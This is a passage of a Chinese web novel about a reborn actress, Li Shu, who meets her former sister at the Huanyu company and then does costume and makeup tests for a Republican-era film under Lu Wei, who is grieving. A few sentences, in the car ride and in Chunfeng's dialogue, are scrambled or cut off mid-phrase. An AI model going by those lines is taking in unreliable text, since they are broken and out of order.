只听到陆嵬说:“裘夏想让你接手一段电影念白,朗诵的形式,之前你听过吗?这种类似的念词。” 这是真的没有。 黎数从前的演戏经验其实很丰富,但由于电视剧和电影内容和规制的限制,古代和近代历史上,倒是有不少男演员的诗词朗诵的戏份,却没有女演员的。 她来了兴趣,有些兴奋于可以接触到未知的全新领域,“没有听过,但是我可以学,陆总,我台词功底很不错,给我点时间,我能练习的很好。” 陆嵬看着她兴奋的模样,缓缓的‘嗯’了一声。 她不知是想到了什么,面色明显软化柔和了很多。 带着黎数出来溜达见人的目的已经达成了,两人坐了专用电梯向下走。 专用电梯是透明的观光梯,黎数并不恐高,垂着眼帘向下望去。 她已经不记得夜晚的寰宇外部是什么样子了,只记得当时一片灯光璀璨,满眼都是灯火通明。 她那时候是第一次来陆嵬公司,还不知道她就是寰宇创始人,只以为是高管之一,能来参观,她一直都很高兴。 电梯直达一楼,时间也到了十点。 黎数前一天太累,喝了很多酒,今天又起的太早,这会精神有点跟不上,想回去补个觉,不然下午的定妆照会不好看,状态也会受影响。 但电梯刚一开,门外的吵嚷声就传了进来。 陆嵬挡在她身前,所以黎数没能看到外面是什么情况。 等两人一起走出去,黎数和陆嵬错开了半个身形,在看到站在大厅中的那个年轻女人的时候,黎数的瞳孔紧缩了一瞬。 似乎是感应到了黎数的视线,被保安缩手缩脚拦着的女人抬头向这边看了过来。 她没化妆,脸上是遮掩不住的憔悴,眼睛里充满着水光,但又有种不知名的恨意和疯狂。 然而就在她看到了黎数脸的那一刻,女人尖叫了一声,居然被吓得连连后退了几步,脸色一下子变得惨白了许多。 黎数的双手在口袋捏成拳头,拼命地抑制住走过去的举动。 前台李情似乎对这一幕已经司空见惯,但看到陆嵬以后,还是如蒙大赦般的叹了口气,匆匆走了出来。 “陆总,数姐的妹妹又来了……” 第29章 第二十九章【VIP】 黎数被陆嵬带到了一边等着,而后陆嵬带着那个形容有些狼狈的女人进了大厅最边缘的透明会客室。 黎数等了一会,低声问李情:“这是怎么回事?她……经常来这里这样吗?” 李情本来已经开始着手自己的工作了,听到黎数问她,手上的动作停了片刻。 寰宇的前台很忙,除了要接待客人以外,还要同时负责接听电话、收发快递、邮件、还要协助会议安排,甚至还有行政上的杂活。 一旦一天里面有一点意外,前台的工作安排就很可能被打乱。 闻言李情脸色发苦,大约也是受骚扰已久,就忍不住挑着能说的东西说了点:“她以前也是咱们公司的艺人,也是……” 李情迟疑了片刻,犹豫要怎么称呼。 黎数没忘记她之前喊的是‘数姐的妹妹’。 黎数笑了笑,主动接了话题,说道:“我知道,她是以前那个黎数的亲妹妹。但是她怎么突然当艺人了?我记得……” 黎数打了个磕巴,说:“我记得之前看过采访,她读的应该是语言文学吧?” 见黎数自己并不在意,李情松了口气,看了眼不远处的透明会客室,说道:“谁知道呢,反正她了以后,裘总就把她签下来了,也交给了一个挺厉害的经纪人带。” 李情着重补了一句:“也是手底下出过影帝和超一线流量的经纪人,很厉害的。” “但是她长得一般,和数姐就三分像,一开始出道的时候有点热度,但是演戏唱歌都不怎么样,上综艺也没笑点,后来就跳槽走了。” “陆总大度,也没要她解约费,但是最近半年也不知道是怎么,三天两头的来闹,也不说是干什么,就一定要等到陆总出来。” 李情说最后一句话的时候,终于露出了点愤怒,“见不到的话就要闹,偏偏陆总也不赶人。” 黎数抬眸望向了会客室。 其实距离隔的这么远,也只能看清楚里面两人的一些大动作。 陆嵬一直坐着,黎余站在她面前,模样应该也是已经冷静了下来,但始终没坐下,垂着头,不知道在说什么。 她‘嗯’了声,算作对李情的回应,“可能是遇到什么难事了吧。” 李情摇摇头,手里的动作重新忙到飞起,桌子上全都是各种需要核对的东西,很不关心的样子:“谁知道呢。” 看来李情也不知道内情。 黎数平静的收回了视线,帮李情一起整理桌子上乱糟糟的文件。 不多时,两人从会客室出来了。 黎余是哭着出来的。 黎数的目光追在她的身后,一直看着她走出了寰宇大楼。 但除了最开始见面时黎余被她吓到的那一瞬间,之后黎余都没再往她这里看过。 黎数忽然想起在第一次试镜时被陆嵬抓到的时候。 和黎余被自己吓到的样子不同,陆嵬在看到她相似却陌生的脸的第一反应是厌恶。 而后不久,陆嵬看出‘她’身上有利用价值,两人之间才开始合作。 相处起来时,陆嵬就像是一个大方的雇主,又或是自以为岁数比她大的长辈。 可真正猛地看到一个和已逝的亲人长得几乎一模一样的人,又被对方用陌生、防备、惊恐的眼神看着的时候,是怎么样的心情呢? 明明是相似甚至一模一样的面孔,皮下却是另外一个完全陌生的灵魂。 甚至都不需要对话,只需要一个眼神就能知道,那不是她。 这种感觉黎数无从得知。* 黎数回头的瞬间,视线和一直看着她的陆嵬撞上。 陆嵬不知道站在那里看了她多久,但一直没出声喊她。 黎数回过神,匆匆和李情说了再见,把手上刚刚帮忙整理好的一叠文件递过去,三两步小跑到了陆嵬身边。 一路下到地库,黎数才状似不经意间提起:“那女孩儿走的时候好像哭了。” 陆嵬淡淡的‘嗯’了一声,很平静的看了她一样,才说了一句:“她每次来都哭。” 黎数张张嘴,意识到陆嵬不是在开玩笑。 每次来都哭? 为什么?黎余到底是怎么了? 黎数几次想开口询问,但话到嘴边,又犹豫的咽了回去。 娱乐圈里面这种事情太多了。 何况是李情已经说了,黎余是跳槽走的。 按照常人的理解,想必是跳槽以后发现还是寰宇最好,又想回来,所以回来装可怜的,毕竟她和陆嵬之间关系也匪浅。 只已——起码从李情的对话中,李情是这么认为的。 毕竟何伪装,在寰宇大厅闹成这样,也没有任何记者跟拍,保安也见怪不怪,甚至 但、演员,都不会这么无人问津,起码在外表上一定会做一些伪装。 恐怕是现公司已经完全不管她了。 奇,黎数看着窗外出神,天气已经越来越热了,路程还有一半的时候,张姐,陆嵬看了眼黎数,而后摇了摇头。 除此之外再也没有一丁点动静。 一直到家里,黎数还没进院门,就看到521老远的从别墅里跑出来迎接。 小机器人背后的小篮子里背着元宝,隔着很远就在喊:“小黎,我亲爱的小黎,欢迎回家,欢迎回家,我和元宝期待你回家很久啦!” 说着,521举起手臂,在胸口的显示屏上放弃了烟花欢迎。 黎数被逗笑了,才发现它居然还能上下楼梯,走的甚至还很稳定。 她这才想起来,521在家里的时候,似乎还要负责收取快递的工作,不会上下楼梯的话似乎确实是不太行。 进门的时候,陆嵬看着她在门口给521擦脚底板,破天荒的问了句,“中午想吃什么?” 下午还有拍摄,加上刚刚遇到黎余,黎数这会的胃口实在是一般般,她想了想,随口说道:“随便。” 迟疑了片刻,黎数说道:“清淡点的吧,能补充体力就可以。” 陆嵬就进了门- 下午三点,黎数准时抵达片场化妆。 送她来的人还是张姐,陆嵬和她同行。 陆嵬在剧组身份特殊,虽然不需要全程跟组,但是话语权很大,即便不是总导演,但费鹤鸣也时不时让她去掌机,工作人员称呼她时,不是喊‘陆总’就是喊‘陆导’。 到的时候,春风已经给黎数准备好了一杯冰美式,说道:“恭喜恭喜,开工大吉。” 黎数弯着眼睛接过,到了大门的位置的时候,本来想和陆嵬分开走,但陆嵬一直送她到了化妆间门口。 又帮她开了门,站在门边,示意她进去。 黎数叹了口气,又想起自己的角色——把陆嵬迷得神魂颠倒的替身小情人。 她第一次开始怀疑自己的演戏天赋。 化妆间很大,主配都是在这个化妆间,里面人不多,化妆师和休息的演员彼此聊天、吃饭的都有。 见人进来,大多数人本来只是随意一抬头,直到发现进来的人是陆嵬,这才纷纷站起来问好。 陆嵬简单点头,发现黎数还没进来,让开了身子,又说了句:“进来吧。” 黎数拉着身后的春风一起进了门。 剧组没人不认识陆嵬。 只是把黎数送来化妆间,又帮她开门、让她进来以后才关上门的这么一个简简单单的举动,就足矣让所有人对黎数的态度从陌生变成友好。 黎数坐在了最里面的椅子上,才发现陆嵬还没走,就坐到了墙角的一个沙发上,什么都不做,只是静静地坐着。 黎数身上只穿了一件纯棉质地的衬衫,纽扣款式的,可以从前面解开,衣服的版型也将她薄瘦的肩背轮廓勾勒的清晰分明。 本来就是为了定妆来,黎数知道规矩,也知道什么样的装扮才能让化妆师开心,毕竟真有不少人穿着成千上万一件的上衣过来化妆,又要美,又不愿意伤到衣服,多少化妆师怨声载道敢怒不敢言还得伺候祖宗。 黎数这样,大家都好合作。 来给黎数化妆的,是剧组特意请来的著名化妆师耿思思。 她今年三十五岁,但天赋极高,家里就是从事美妆行业的老手艺人,年纪轻轻就有自己的品牌,同时也经常作为评委出席各种活动,从业不过八九年,她接过的电影和电视剧就已经有几十部。 刚看到黎数今天的上衣,她脸色就好看了很多。 “小丫头这么懂事啊,穿这么方便的衣服?”耿思思伸手掐了一把黎数的脸,力气不大,又觉得好捏,多捏了两下,才笑着说:“皮肤状态不错,姐姐会好好给你化的。” 黎数从镜子里朝她笑了笑,“谢谢思思姐。” 她说罢,顺手解开了胸口的三颗扣子。 极明显的锁骨蜿蜒到衬衣内,漂亮的让人想在那凹陷的弧度上面放点什么东西。 领口开到可以看到隐约的胸衣蕾丝线条边缘,黎数并没在意,只静静地望着镜子,因为这个位置足够把衣服上提,露出整个肩膀,方便脖子周边上妆。 漂亮的事物没人不喜欢。 耿思思眯了眯眼睛,伸手在黎数脖子上轻轻一点,声音柔的像水:“妹妹,你脖子上这颗痣生的可真好。” 陆嵬在后面的动作忽的一顿,头抬起来往两人的方向看了过去。 耿思思没注意到角落还有个人,指尖顺着黎数的脖颈向下划去,中途被黎数和白的和胸口颜色几乎无差的手轻轻松松拦住。 赶在陆嵬彰显自己的存在感之前,黎数先安抚似的,透过镜子朝她那边望了一眼。 陆嵬眉梢轻轻一扬,黎数才发现她似乎也没什么要起身或者说话的意思。 黎数也没在意。 倒是耿思思察觉到了什么,从镜子里往后看了眼。 陆嵬目光平静,但视线的落点是盯着她的手指尖和黎数被触碰到的那颗痣的附近的。 而她的手还被黎数抓着。 莫名的,耿思思有点后背发凉。 但黎数很快就放开了她的手。 黎数从镜子里冲她笑了笑,没生气,也没有被冒犯到的感觉,只是平静拍了拍耿思思的手背:“思思姐,过了十五分钟了。费导四点是要见第一套效果的。” 耿思思这才孩子气的一噘嘴,暗暗撇了一眼陆嵬,才不高兴的开始工作。 服装师在后面看的直乐,这时候才上来说了句:“她也没别的意思,就是手欠,不管男的女的老的少的总喜欢上去摸两下,小黎,陆总,别在意。” 一句话算解释也算是赔罪。 陆嵬不置可否的环抱起胳膊。 黎数弯着眼睛点了点头。 黎数之前和耿思思合作过,所以才能这么淡定的在这坐着,也知道她一路顺风顺水,所以偏孩子气了点。 一直快乐,从事自己喜欢的工作,也挺好的。 因为是民国戏,除了白玫成为妓女后的妆造需要费点心思之外,其他几个不同时期的妆造没那么难,甚至把皮肤化黑以后,黎数可以直接素颜上。 黎数的第一套衣服是一身宽大的粗布男装。 样式很老,还是冬天的款式,到处都是简陋却缝的细致的补丁,仔细看还能看出那是现搓的麻线,针孔也都偏大。 不管是从布料还是到新旧程度,这套衣服都做的极好。 “这一套是你马上就要拍的那一场的戏服。”服装师打量了一眼黎数站起来后的身材,下意识伸手捏了捏她的胳膊。 触感是有力量又偏硬的肌肉。 她略诧异,笑着说道:“身材保持的不错啊,不是饿出来的扁平软和,平时有锻炼?你这个年纪,难得啊。” 黎数‘嗯’了声,点头说道:“身体没肌肉没力气不行,上镜都成了假把式,一把刀都提不起来,精神也会不好,软趴趴的,对不住自己,也对不住二位老师那么牛的妆造不是?” 耿思思和田烨同时被逗笑。 “你面相不像是油嘴滑舌的,岁数又小,没想到话说的倒是挺漂亮。” 耿思思眼珠一转:“跟着陆总确实能学到很多东西啊。” 黎数笑而不语。 田烨递过来的一团布,伸手指了指里面的化妆间隔间:“一整套的,全都换上吧。” 黎数伸手接过,左右看了眼,“好。” 那是一个被收拢在一起的白色麻布,很长,布的上面又缝上了可以固定的绳子。 民国时期穷苦人家的孩子是没有胸衣的,但为了迎合当下时代流行的畸形审美,贫苦人家的女孩也会极力用粗陋的布条将胸部压平。 黎数低头看了一眼,不知道是不是错觉,原主过于瘦了,所以没什么胸。 她这两个月刻意吃的多了一些,日常的运动也都跟上了,胖起来了以后,胸似乎明显变大了不少, 束带硬勒着,势必会造成呼吸不畅的缺氧状态,加上长期拍戏,又需要剧烈运动,黎数不知道身体受不受得了。 但也只能继续,黎数不可能因为这个原因喊暂停。 进隔间的时候,黎数忽然想起什么,迟滞的停了一下。 而后她伸手摸了摸自己的脖子。 靠近右侧的位置,就是刚刚耿思思指尖触摸过的地方,那里和锁骨相接的地方,耿思思说有一颗很漂亮的痣。 她狐疑的皱起了眉毛——原主这里,之前有这颗痣吗? 鬼使神差的,黎数回头看了一眼。 陆嵬依然静静地坐在角落。 她周边有人送来了咖啡,有人小声笑闹着,她似乎完全不在意。 陆嵬的目光是一直追随着她的。 黎数和她隔着整个化妆间的喧闹对视,而后平静转头,打开了隔间的大门。 第30章 第三十章【VIP】 黎数没多久就换好衣服出来。 老式的粗布麻衣没能遮挡住黎数的美,甚至让所有人望向她的视线,都忍不住更为集中的落在了她的脸上。 衣服是费鹤鸣特意叮嘱过的款式,按照成年男性的身高再加大做,以符合当时底层家庭的经济状况。 一件衣服可以传几代人。 没有款式,只有结实。 但即便如此,这套衣服穿在黎数身上,远看时,褪色染色的破布,都像是特意为了走秀而专门改造的织染时装。 田烨沉吟片刻,说道:“有点太好看了。” 但停顿了片刻又说:“不过不是你的问题,你穿这套衣服出来的效果,这跟费导要求的倒是不谋而合。” 真正的美人是完全不受丑衣服限制的。 费鹤鸣一开始的要求就是要真实。 她要环境置景的真实,要黎数身上的衣服、妆造真实,也要黎数漂亮的足够真实。 因为衣服够丑、够破旧,才能更让所有人的注意力都集中在黎数的那张脸上去。 黎数笑了笑,长发下是素净不施粉黛的脸。 这一套衣服的第一个造型甚至不需要化妆。 耿思思沉吟过后只给她简单修改了一下眉形和头发,在动手前,坐在角落的陆嵬忽然说:“把她的眉毛修的锋利一点,再用纯黑色给她画眉,不要美,要丑,也不要打浮粉,脸上其他的地方也要落点黑色的灰。” 耿思思不明所以,但还是依照陆嵬说的做了。 陆嵬在剧组的话语权仅次于费鹤鸣,也经常替费鹤鸣掌机,服化道这一块,用的也都是寰宇这边的班子。 眉毛修错了不合适了大不了剃光,再一根根的种仿真眉,反正她是按时间收费。 画好以后,耿思思几次给陆嵬端详,但陆嵬一直不太满意。 眉毛处的皮肤已经被擦的发红,十几次卸妆重画,用的还是最深、最难擦的颜色。 最后一次等着皮肤干的时候,黎数简单揣度了一下,试探性的说:“思思姐,你用左手给我画吧。” 黎数从镜子里看着耿思思,尽量用她能理解的方式说:“要初学者的那种,很认真但是又很滑稽的眉毛,不要好看、但要尽量整齐,对称,厚重。” 耿思思愣了愣神,下意识回头看了眼已经不知道什么时候走到了她们身侧的陆嵬。 陆嵬的表情里是赞许和意外,随后就是满满的沉思。 最后一次陆嵬终于点头。 一行人就跟着黎数一起去了摄影棚。 陆嵬一言不发的跟上一起同行,但只在黎数的身后遥遥坠着。 摄影棚里,费鹤鸣就在监视器不远处坐着,和身边摄影组的人在低声交谈着,离得远,黎数也听不清。 陆嵬这才上前走,拍了拍黎数的肩膀,说道:“走吧。” 费鹤鸣也从原地走了过来,见到黎数的妆容时愣了愣,端详了一会才说道:“这妆不错。” “把发型剪成平刘海,不要烫,洗完以后自然垂下的样子,然后把头发简短,齐根剪掉,不要修缮,用粗剪刀去剪。” 费鹤鸣宣布妆造的时候根本没有问演员的意见,她也从来不问。 黎数一向戏大过天,此时此刻让她剃成光头她都没意见。 是以耿思思在向黎数投来询问的目光时,黎数也只是不明所以得笑了笑。 倒是让耿思思好感度又提升了不少。 没有化妆师会不喜欢这样敬业、不挑三拣四,又好说话的艺人。 费鹤鸣找了几个民国时期的平刘海递给耿思思,耿思思仔细想了想,‘嗯’了一声,给黎数重新弄发型。 这次态度都认真了不少。 费鹤鸣要的是齐刘海短发,长度在不影响干活的前提下,又要和男人区分开,以前旧社会的女人常留。 黎数对留什么发型一点意见也没有,全听导演的,但头发被剪下来时,她忽然说道:“思思姐,有袋子吗?” 耿思思望了她一眼,笑着说:“怎么了呀,这时候才反应过来不舍得啦?” 她说着,在黎数被剪下来的头发上看了两眼,说道:“你看你之前的头发可都没有好好保养过,有一大节都是枯黄发叉的,梳都得给你喷十斤软化。光看你这头发,像是从小就营养不良的小苦瓜。” 话虽然这么说,但摄影棚也不可能有袋子,耿思思最后抽了个方巾递给黎数。 黎数谢过,将剪下来的头发束好,最后用方巾给包了起来。 放在台面上,这里人多,怕丢,拾,又给人添麻烦。 黎数左右看看,春风招招手。 春风蹲着跑了过来。 黎数看着她跟个螃蟹似的扭,两条腿蹲着居然还倒腾的很快。 “”黎数忍不住说。 春风很小声的‘啥?’了一声,然后继续压低方有点害怕,我们以前上面的!这么多机器,撞坏了赔不起啊!” 黎数忍着笑,把那个方巾交到了春风手里说道:“帮我收好,里面的是头发,小心点,别弄散了。” 春风连连应声,“小黎姐你要卖头发吗?那你找对人了,我知道谁收的贵……” “不是要卖,要收藏。” 春风‘啊?’一声,不明白这玩意儿有什么好收藏的,但还是‘哦’了两声,又蹲在地上,跟螃蟹似的扭出去了。 ……这一刻,也不知道为什么,黎数莫名觉得春风应该和521很能玩到一起去。 最后成型时,费鹤鸣的脸上终于闪过了满意的神色。 同一套衣服,但代表着少女两个不同的时期。 封建糟粕,破土重生。 费鹤鸣说道:“你这套衣服的第一场戏,是李梨最后的少女时期。你要记住,她有一个年幼的弟弟、操劳过重病死的母亲,以及染上了烟瘾的父亲和大哥。她只有十六岁,但她撑起了整个家庭整整十年。” 一个鲜活的、倔强的少女形象登时映入脑海。 黎数垂下睫毛,静静的听着。 费鹤鸣道:“在那个时代下,被家庭抛弃的漂亮女人是没有活路的。我要你的弱,要你面对这个吃人的世界的无所适从,要你从前的慈善心肠,因为这是你本就具有的。” “但在你被父亲卖掉的那一夜开始,我要你醒悟,要你自强,要你的倔强和坚强,你要为了自己而活,更要知道自己为什么而活,你要为自己的以后蹚出来一条路来。” 费鹤鸣走后,黎数静静地坐了一会。 短短的几句话,就概括了李梨和白玫的一生。 第一个饱受压迫的少女时期,黎数拍摄时弓起了脊背,瘦弱的手臂垂在身侧,拘谨的抓着自己身上粗陋的长衫。 她的孤独与单薄,和对陌生世界的畏惧、讨好、无所适从,仅仅通过一个抬眸,就穿透了摄影机,将所有未尽难言的话传递给了镜头后的所有人。 那是处于战乱年代、又被父亲、兄长抛弃了的漂亮女孩,在面对对于绝大多数人来说必死的结局时,会有的无措和惶恐。 但即便如此,她的眉尾上扬,眼神仍然是不屈的,她没有真正的认命,她在试探,在打量。 她像是一株长在石缝中飘摇挣扎着生存的嫩芽,纵使艰难,但从不谈放弃。 这一套的照片拍了很多,黎数最后挑选了一张底片,问费鹤鸣能不能拷贝下来。 陆嵬当时就和费鹤鸣在一起审片,闻言问道:“你有什么用?” 黎数诚实回答,为了证明自己说的是真话,她还打开了和521的对话框:“发给521。它说它要当做自己的大脑壁纸。” 陆嵬唇角一抽。 听过电脑壁纸,头一次听大脑壁纸。 她冷笑一声,过了会才说:“明天官宣了以后一起给你。” 黎数这才‘哦’了一声,看着失落的521怒骂又激情的狂飙文字泡,以一秒一百字的速度追着陆嵬骂了整整三十秒。 最后521试探的说:【陆嵬不会看到这段消息吧?】 黎数和她保证一定不会。 陆嵬就这么看着。 黎数弯着眼睛低头盯着手机笑了起码有几十秒。 过了会,摄影组那边准备完成,黎数开始拍摄这套衣服的第二组照片。 同一身衣服,但要两种完全不同的状态。 这一套照片出来的时候,其实费鹤鸣是满意的。 黎数的表现力她是一早就知道的,但总能被她惊艳到。 她要的定妆照不是硬照,也不是时下大多数剧组所有演员统一表情、统一滤镜的个人写真,她要的是每一张照片,都是每一个单独成立的故事。 但陆嵬在一旁忽然说道:“缺了点东西。” 费鹤鸣抬起头:“嗯?” 陆嵬左右看了看。 摄影棚里面道具多,花也不少,常见的种类几乎都有。 她在里面挑了一支白玫瑰,细心的去掉了枝干上面的刺,然后走到黎数身边,将花插在了她的耳鬓。 陆嵬的动作略显亲昵,但离得极近,黎数能看得出陆嵬眼神里面有赞赏,却没有喜欢和爱意。 陆嵬笑着将黎数的发丝挽上去:“很好看。” 黎数平静的笑笑,“谢谢。” 这次离远了些,陆嵬和摄影组的人说道:“这样再拍一组试试。” 摄影棚的灯光开的很大,黎数的肌肤被照的像是最上等的国瓷,耳边的白色玫瑰没有削弱她本人的一丝一毫,更平添了几分纯洁无瑕和破碎下生出的坚强。 明知道李梨后来的花名是白玫,可费鹤鸣还是问道:“怎么偏偏选了白玫瑰?” 陆嵬沉默了两秒,看着黎数在前面拍了一张又一张,情绪衔接快,表情也接的稳。 一呼一吸,一颦一笑,举手投足间,她总能在眼前不过十八岁的少女身上看到曾经爱人的影子。 如果黎数还在的话,今天站在这里的,应该是她本人。 可她也比谁都知道,黎数回不来了。 陆嵬觉得呼吸有点不顺畅。 她找了个椅子坐下,目光还是看着摄影棚,她说:“白玫瑰象征新生与希望,也适合纪念日或者人生进入新阶段后的庆祝。白玫瑰配她,正合适。” 费鹤鸣目光略带有深意的看着陆嵬。 她的手机上其实已经搜到了白玫瑰的花语。 她是一个尽职尽责的导演,甚至是极为成功的导演,也知道陆嵬不会无端的去在这种场合下谈情说爱。 但绝大多数的时候,配角的姓名、意义,更多时候是由编剧组上下一致决定的,她还不至于细致到去观察一个配角的名字,而去给她单独加戏素质的这种程度。 “如果我没记错,白玫这个角色,你是主张要加进去的吧?”费鹤鸣说:“本子虽然是小霜最后落成的,可她不止一次跟我说过,白玫这个角色的灵魂内核,是你给的。没有你,白玫这个角色她写不出来,这让她一直以来都感觉很有负罪感。” 陆嵬轻轻笑了一下,而后说道:“不重要,没有她执笔,或许白玫也不会这么精彩。” 费鹤鸣神色复杂的叹了口气。 余光注意到了陆嵬有些颤抖的指尖,费鹤鸣皱了皱眉,朝旁边的副导招呼了一下。 “去给陆总拿点吃得来。”费鹤鸣说:“她有点低血糖了。” 副导心细,一眼就看见陆嵬发白的脸色和抖得有点不正常的手,赶忙先从口袋里拿出来了一块巧克力递过去。 陆嵬沉默片刻,撕开吃了。 副导这才赶紧跑出去弄吃的去。 费鹤鸣的手机已经锁了屏。 她重新打开后,看着屏幕上那句话却久久不能回神。 ——白玫瑰的花语,代表着对逝者的怀念与追思。 李梨改名叫白玫,去祭奠那个已经死亡的少女,也象征着新的人生进入新的阶段。 可透过白玫,你又在怀念谁? 30-40 第31章 第三十一章【VIP】 不知是不是因为巧克力的缘故,副导回来的时候,陆嵬已经平静了许多。 副导把买的下午茶放在桌子上,没在那继续讨人嫌,直接去干自己的活去了。 费鹤鸣拍拍陆嵬的胳膊站起,走路时已经下意识的把手背在背后,陆嵬才发现,她是真的老了。 平板上的图片已经拍了数十张,这套在电影里面对于李梨出场占据了极大重量的衣服才算是彻底拍完。 妆和衣服都合适,没什么好挑剔的,剩下的所有细节都是开拍以后才根据实况调整的,大多也都是妆容问题。 “可以了,小黎去换后面的造型吧。”费鹤鸣选定了几张。 这些照片几乎全方位无死角的把黎数拍完了,后面还分别有不少的常服和极其精致华美的锦袍,首饰也要搭配。 照片要全部留档,黎数像是个木偶娃娃一样被摄影指挥着动作,按照费鹤鸣给的情景拍了一整个下午,到七点半的时候,终于能吃上饭了。 再热爱也撑不住连续四个半小时大动作,又蹦又跳,还要随时根据要求来调动情绪、调整表情和眼神。 黎数松了口气,费鹤鸣晚上这顿饭给大家放了一小时的休息时间,餐也是提前就到了,拿到了就能直接开始吃。 民国时期的首饰并不多,只是红灯区女人们的旗袍大多都非常紧身,费鹤鸣早就料到会拍摄到很晚,也知道要吃晚餐,所以给黎数的饭是单独叫的,黎数不能多吃。 低脂无碳水且非常秀珍。 黎数面前是只有她掌心大么大的牛排,旁边是两颗西蓝花、半个鸡蛋、两个小番茄。 除此之外,再无其他。 瞪了半晌,黎数实在感觉没必要动用旁边给的刀叉,拿起筷子夹着就吃了。 陆嵬坐在她对面,似乎注意到了什么,脱下了身上的外套递给她。 黎数抬头。 牛排倒是很嫩,一口下去她不舍得囫囵咽,所以嚼的很慢,这样饱食感也能强一点。 见陆嵬递衣服给她,还以为是陆嵬陆嵬不想起来,让她找地方放衣服,于是收过以后,仔细叠好放在了一边。 陆嵬给她取咖啡的功夫,一扭脸,衣服就差被叠成豆腐块了。 咖啡没奶没糖,陆嵬递过去,说:“我让你盖腿上。” “不用,不冷,我里面也穿了安全裤。” 黎数不在意露不露的,更何况又没露。 拍摄的时候也一样,照片怎么好看怎么来,这身衣服在旗袍中算是高开叉,但其实按照当时的衣服款式来说,即便是红灯区的女郎们,高开叉旗袍也就只到大腿中段而已。 费鹤鸣拍的是电影,不是二级片,摄影师从头到尾也没让黎数做过任何软色|情的动作。 妩媚风情和色|情是两种东西。 黎数说话的同时,还把旗袍向上一撩,她热。 大腿中段一片黑色蕾丝边缘的打底裤暴露无遗,陆嵬猝不及防,看了满眼。 陆嵬一时有些无言。 剧组天热的时候,的确不管男女演员都会把下摆长的衣服直接拨开,把腿露出来乘凉。 她从前去剧组探班时,黎数也总这样,她有点不高兴,但又担心黎数嫌弃她管太多,所以只能忍着。 后来可能是她总给黎数遮挡的小动作被黎数发觉了,黎数每一次下意识的撩开,又会笑着看她,再把腿慢慢的合上。 可现在不过四月,天还有些微凉,小姑娘这会是被大灯照的一时发热而已,但这露一整条大腿的模样,在这个时间的剧组是独一个。 但她看起来确实不在意。 甚至给陆嵬看过她买的安全裤后,就又低头很认真的吃起了饭。 只不过另一只手一直在和521聊天,从没放下来过。 【黎数:好惨,今天的饭只有很少一点点点点点。[图片]】 【521:天哪!比元宝的罐罐还少!那怎么办,我这就去威胁陆嵬多给你一点吃的,她怎么能这样,她怎么能虐待你!她虐待我就算了怎么能虐待你呀!嗨呀!机器人都要被她气到投胎!】 【黎数:不是她的问题,是因为后面要拍摄的衣服不能吃的太饱,不然肚子突出来很难看。】 【521:那她也不是好人。】 【521:肚子突出来很难看吗?】 黎数想起52。 它给自己展现过。 有冷藏功能的,空调的功能也是从这个位置供给,所以里面的空间比较大,这也就导致521的肚子也圆滚滚。 【黎数:你不一样,你肚子突出来可爱,我很喜欢。】 【521我亲爱滴小黎,你简直是这个世界上最好的真人!】 不知不觉一顿饭就吃了个干干净净。 黎数甚至把旁边散落的西蓝花渣子都并着一起用叉子刮进了胃里。 但奈何实在是没东西了,盘子光可照人。 陆嵬一直坐在她对面。 她不需要禁食,面前是副导刚刚来的那一趟放的吃的,有不少东西,但黎数都不能吃。 蛋糕是冷柜里取出来加急送的,这么一会的功夫就已经有要融化的迹象。 但即便是不融化,黎数也不能吃,她把自己面前的鸟食吃完以后就没得吃了。 或许是这一刻气氛太静,陆嵬想起从前的黎数也是这样。 黎数之前拍过一个逃亡的死刑犯。 为了那一场长达2分钟无剪辑的逃亡戏,黎数将近二天没合眼,期间甚至滴水未进,就为了表现出那种逃亡之际又摇摇欲坠的濒死感和人到底线时的疯狂。 那个时候黎数就是像现在这样坐在自己面前。 她自己不能吃,饿的直吞口水,却给自己点了一桌子,甜品、炸鸡、奶茶、烤肉……什么她不能吃的,她就点了什么。 然后就让自己吃给她看看,让自己给她描绘一下到底是什么样的口感,又是什么样的味道。 再一边不停地咽口水,又总会问:“鸡腿酥脆吗?里面是不是很嫩,咬一口还会爆汁?这家的蛋糕店口感很绵密,用的都是新鲜打发的动物奶油,面包胚蓬松度也很好,吃起来会感受到奶油在舌尖慢慢融化,奶香也很醇厚……” 陆嵬记得很清楚,黎数最终没忍住,柔软湿热的嘴唇落在自己唇上,去偷舔那一丁点奶油的狡黠。 只一点点奶油就很满足了,说好甜,好香。 又会说一句‘像你一样’。 陆嵬眉眼软化了很多。 黎数盯着她面前的蛋糕,忽然问道:“陆总,你的蛋糕好吃吗?” 陆嵬倏地抬头。 黎数吞了口口水。 早上她随便吃了点,中午因为胃口不好,也只吃了一些能提供营养但是绝对只有六七分饱的沙拉,又一直干体力活到现在。 很饿。 本身她的身体就还处在营养不良的恢复期,容易体虚、无力,加上这是重生以来第一次这么明晰的意识到饥饿感,黎数一时之间有点控制不住。 不知道是不是因为现在只有十八岁的身体,她需要消耗的能量似乎比从前多。 更何况,重生前她算起来就已经有半年没有吃饱过了,蛋糕更是禁中禁。 本来她是打算颁奖典礼结束以后,回去陪陆嵬补过生日的时候吃一次的,只可惜也没有吃到。 再加上重生后的两个月,整整八个月的时间,平时看不到还可以不想,但现在又饿,又馋,又累。 她很羡慕的又问:“吃起来是什么感觉啊?” 陆嵬面前的蛋糕只挖了一口。 蛋糕并不好吃,偏苦涩的巧克力味,没什么花样,就是剧组附近的私房点的。 本来不想吃第二口。 这一刻也说不出为什么,陆嵬看着黎数直勾勾盯着蛋糕、一丝一毫都没有分给她的目光,又拿起旁边的勺子,轻轻挖了一勺奶油,然后送入了口中。 黎数的目光就转移到了她的唇上。 忍不住跟着一起做了个抿唇品尝的动作,黎数紧张的等着陆嵬给点什么评价。 陆嵬长长的睫毛在皮肤上投出一片阴影,低声说:“难吃。” 黎数顿时大失所望。 她失落的看着面前还剩不少的蛋糕,只能很可惜的说:“那你不想吃的话,把吃的那块切掉,剩下的分给工作人员吃吧。” 工作人员没陆嵬那么嘴挑。 说罢,黎数起身,回头看了一眼片场,说道:“陆总,我去休息一会。” 陆嵬深深的看了她一眼,面色沉沉的点头,手上*的叉子在她的指尖翻来覆去的把玩,却也真的没再吃一口。 晚饭时间休息有一个小时,黎数吃得快,这么会也不过只花了十几分钟,还能有四十分钟去补个觉,来应付下半夜的拍摄。 但黎数能去的地方也只有化妆间,小演员是不可能有单独的休息室,化妆间算是共用的休息场所。 里面此刻也充满着饭菜的香气,黎数还没到门口就闻到了,她捂了捂肚子,左右看看,朝着外面走了过去。 晚饭时间,吃完以后到哪都是躺了一地的人,谁在哪睡都不起眼。 